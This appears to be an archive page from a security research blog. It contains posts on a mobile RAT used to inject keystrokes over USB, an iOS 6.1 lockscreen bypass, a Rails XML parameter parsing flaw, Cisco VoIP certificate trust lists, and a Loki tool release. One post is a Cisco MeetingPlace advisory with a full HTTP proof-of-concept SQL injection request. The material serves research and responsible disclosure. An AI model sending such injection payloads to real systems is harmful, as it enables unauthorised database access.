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VMDK Has Left the Building — Newsletter

We are pleased to announce that we summarized the results from our VMDK research in our latest newsletter.

We hope you enjoy the reading and will get some “food for thought”!

The newsletter can be found at:
ERNW_Newsletter_41_ExploitingVirtualFileFormats.pd

A digitally signed version can be found at:
ERNW_Newsletter_41_ExploitingVirtualFileFormats_signed.pdf

Enjoy your weekend,
Matthias

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Breaking

Corporate Espionage via Mobile Compromise: A technical deep dive

This is a guest post from David Weinstein

Mobile devices play an important role in the business world. Yet with increased emphasis on the Bring Your Own Device (BYOD) model, defenses are not where they need to be to slow the loss of valuable intellectual property.

Corporate defenses have traditionally focused on the network, the endpoints, and not necessarily on the ecosystem of how these devices interact outside of network sockets. Smartphones bring unique network connectivity, an array of sensors, and can be overlooked by resources invested on IDS/IPS not being effectively leveraged.

Getting to the core of an exemplar attack, a Mobile Remote Administration Tool (RAT) is devastating. With access to the microphone, GPS/network location, camera, and an accelerometer, having control of a mobile device in a corporate setting is a dream for an attacker. We’ve improved an open source RAT and introduced a new feature, the ability to turn the mobile device into a virtual person sitting at the computer, able to type commands into the console.

Using a USB device to gain access to a computer is not new and the dangers of an unprotected port are extraordinary (see upcoming troopers talk, You wouldn’t share a syringe. Would you share a USB port? Bratus & Goodspeed). The takeaway from this particular talk is that the attack need not be performed from a specialized device (Teensy, Facedancer), like a thumb drive. The attack can be mounted from a common device that is routinely plugged into computers for charging or data transfer purposes… the Android mobile phone in your employee’s pocket!

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Breaking

Apple iOS and the history of a workin’ lockscreen… NOT

Once again a vulnerability in Apples mobile operating system iOS was found by some guys of the Jailbreak Nation. The newest version of this operating system suffers from a weakness that makes it possible to unlock the lockscreen of all iPhones that use iOS version 6.1. In this case it does not matter whether a PIN or a password is used to unlock the phone. After successful exploitation an attacker is able to see and edit contact-information, to add new contacts to the phonebook, to view all pictures, to call the inbox or any of the contacts and to see and delete the list of recent calls or parts of it.
Continue reading “Apple iOS and the history of a workin’ lockscreen… NOT”

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Breaking, Events

Paparazzi over IP

Almost every higher class DSLR on the market today features multiple and complex access technologies. To name a few, canons new flagship features IP connectivity wired via 802.3 as well as wireless via 802.11. All the big vendors are pushing these features to the market and advertise them with real time image transfer to the cloud. We have taken a look at the layer 2 and 3 implementations in the CamOS and the services running upon those, so here is what we found while examine the EOS 1D X:

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Breaking

Mobile Application Testing

Our new workshop about mobile application testing, held for the 1st time at the Troopers conference 2013, is coming closer. So I would like to take the opportunity and post an appetizer for those who are still undetermined if they should attend the workshop ;-).

While the topic of mobile application testing is a wide field that may contain reverse engineering, secure storage analysis, vulnerability research, network traffic analysis and so forth, in the end of the day you have to answer one question: Can I trust this application and run it on my enterprise devices? So first you have to define some criteria, which kind of behavior and characteristics of an application you regard as trustworthy (or not). Let us peek at malware … besides harming your devices and data, malware is typically:

  • obfuscated and/or encrypted
  • contains anti-debugging features
  • contains anti-reverse engineering features

This makes the analysis process a difficult task and comparing these characteristics especially to ordinary iOS applications from the AppStore, at least one is also true for these apps: Those are encrypted and are only decrypted at runtime on your Apple gadget ;-).

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Breaking

Analysis of Rails XML Parameter Parsing Vulnerability

This post tries to give an overview about the background and impact of the new Rails XML parameter parsing vulnerability patched today.

The bug

The root cause of the vulnerability is Rails handling of formatted parameters. In addition to standard GET and POST parameter formats, Rails can handle multiple different data encodings inside the body of POST requests. By default JSON and XML are supported. While support for JSON is widely used in production, the XML functionality does not seem to be known by many Rails developers.

XML parameter parsing

The code responsible for parsing these different data types is shown below:

# actionpack/lib/action_dispatch/middleware/params_parser.rb 
....
DEFAULT_PARSERS = {
      Mime::XML => : xml_simple,
      Mime::JSON => :json
    }
....
def parse_formatted_parameters(env)
        ...
        when Proc
          strategy.call(request.raw_post)
        when : xml_simple, : xml_node
          data = Hash.from_xml(request.raw_post) || {}
          data.with_indifferent_access
        when :yaml
          YAML.load(request.raw_post)
        when :json
          data = ActiveSupport::JSON.decode(request.raw_post)
          data = {:_json => data} unless data.is_a?(Hash)
          data.with_indifferent_access
        else
          false
        end
...

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Breaking

All Your Calls Are Still Belong to Us – continued

Hi again and a happy new year 2013!

Lets continue were I left you the last time.

The CTL

The CTL is basically a binary TLV file with 1 byte type, followed by 2 bytes length and finally the data. But as this is far to easy, some special fields omit the length field and just place the data after the type (I guess those are fields with a fixed length). Here is an example CTL file:

Red fields are the types (counting up), green fields are the length (note the missing length on some fileds) and the purple field contains the data (in this case data with a length of 8 bytes and a type 0x05, which is the signing cert serial number btw. [and yes, this is a real example; Cisco signs phone loads with this ‘random’ cert]).

The CTL contains a header with types from 0x01 to 0x0f which is padded with 0x0d. The same header is used for the signed files .sgn from the TFTP server later on. The header describes the file version, the header length, the certificate the file is signed by (further called Signing Cert), the corresponding Certificate Authority, the file name, the files time stamp and finally the signature. The header is followed by multiple cert entries, which again use types 0x01 to 0x0f.  The cert entry contains a role field 0x04 which describes the use of the cert. We are interested in the CAPF cert (0x04) and the Call Manager cert (0x02).
Continue reading “All Your Calls Are Still Belong to Us – continued”

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Breaking

All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution

Some of you may have heard the topic before, as we have spoken about on this years BlackHat EuropeTROOPERS12  and HES12, so this is nothing completely new, but as we’re done with responsible disclosure (finally (-; )  and all the stuff should be fixed, we’re going to publish the code that brought us there. I will split the topic into two blog posts, this one will wrap up the setup, used components and protocols, the next one [tbd. till EOY, hopefully] will get into detail on the tools and techniques we used to break the enterprise grade security.

 The Components

First lets take a look on all the components involved in the setup:

As you can see in the picture, there are a lot of components and even more certificates involved. From left to right: Continue reading “All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution”

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Breaking

SQL Injection in Cisco MeetingPlace

Cisco has released a security advisory for a vulnerability we discovered last year.
For comparison here is our original advisory to cisco:

Security Advisory for Cisco Unified Communications Solution
Release Date: 11/8/2012
Author: Daniel Mende
1 SUMMARY
Multiple critical SQL injections exist in Cisco unified meeting place.
2 AFFECTED PRODUCTS
The following Products have been tested as vulnerable so far:
Cisco Unified Meetingplace with the following modules:
• MeetingPlace Agent 7.1.1.9
• MeetingPlace Audio Service 7.1.1.8
• MeetingPlace Gateway SIM 7.1.1.2
• MeetingPlace Replication Service 7.1.1.9
• MeetingPlace Master Service 7.1.1.8
• MeetingPlace Extension 7.1.1.8
• MeetingPlace Authentication Filter 7.1.1.8
3 DETAILS
The following parameters are affected:
http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]
4 VULNERABILITY SCORING
The severity rating based on CVSS Version 2:
Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P)
CVSS Version 2 Score: 6.5
Severity: Low
5 PROOF OF CONCEPT
POST /mpweb/scripts/mpx.dll HTTP/1.1
Host: 10.X.X.X
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://10.X.X.X/mpweb/scripts/mpx.dll
Cookie: cookies=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 571
SessionID=A40490A1-AB17-4C1E-BA4A-E3C5C90F62CA.1ED59E5C-A774-4546-8683-
AEB15D6FBD0D.55931857-6296-48ec-9434-3231c683c47d.ADadfjadlkeNmFhmplaihgkdDg
&wcMeetingID=&wcRecurMtgID=‘ or 1=1 —&URL0=wcBase.tpl&TXT0=Startseite&URL1=&
TXT1=&URL2=&TXT2=&URL3=&TXT3=&URL4=&TXT4=&URL5=&TXT5=&MtgCatToSearch=
%28all%2Bcategories%29&ML_PublicPosted=Yes&MtgIDToSearch=0000007&SchedulerID=
&wcRequest=&wcHash=&FormType=listmeetings&wcState=3&STPL=wcFindMtg.tpl&FTPL=
wcFindMtg.tpl&ML_List=MT_Today&ML_EndTime_Month=&ML_EndTime_Day=&ML_End
Time_Year=&ML_ShowContMtgs=Yes&SP_VLanguage=lang999i00

 

As we are at the topic of Cisco’s Unified Communications Solution, there is a lot more in the queue to come up, just be patient a little longer, it’ll be worth it (-;

 

cheers

/daniel

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Breaking

Loki for Windows released

Today is a great day, its the day, Loki finally runs on all big operating systems. Im proud to announce the first Loki release for Windows!

There are a few things not working (yet / at all) under Windows. Those are:

  • The WLCCP Module – ive not yet managed to build and link against asleap on windows [but time may help (-; ]
  • TCP-MD5 Auth for BGP – This will never work, as Windows has no TCP-MD5 impl. in the kernel
  • The MPLS Module – Had some hassle here with WinPcap, may be working in the future

The most testing so far was done on Windows 7 were all the other functions work as they do on Linux and Mac.

Download the installer here [1ebf2edbb0cdb631dc2704e82d9c2d778fac703d].

cheers

/daniel

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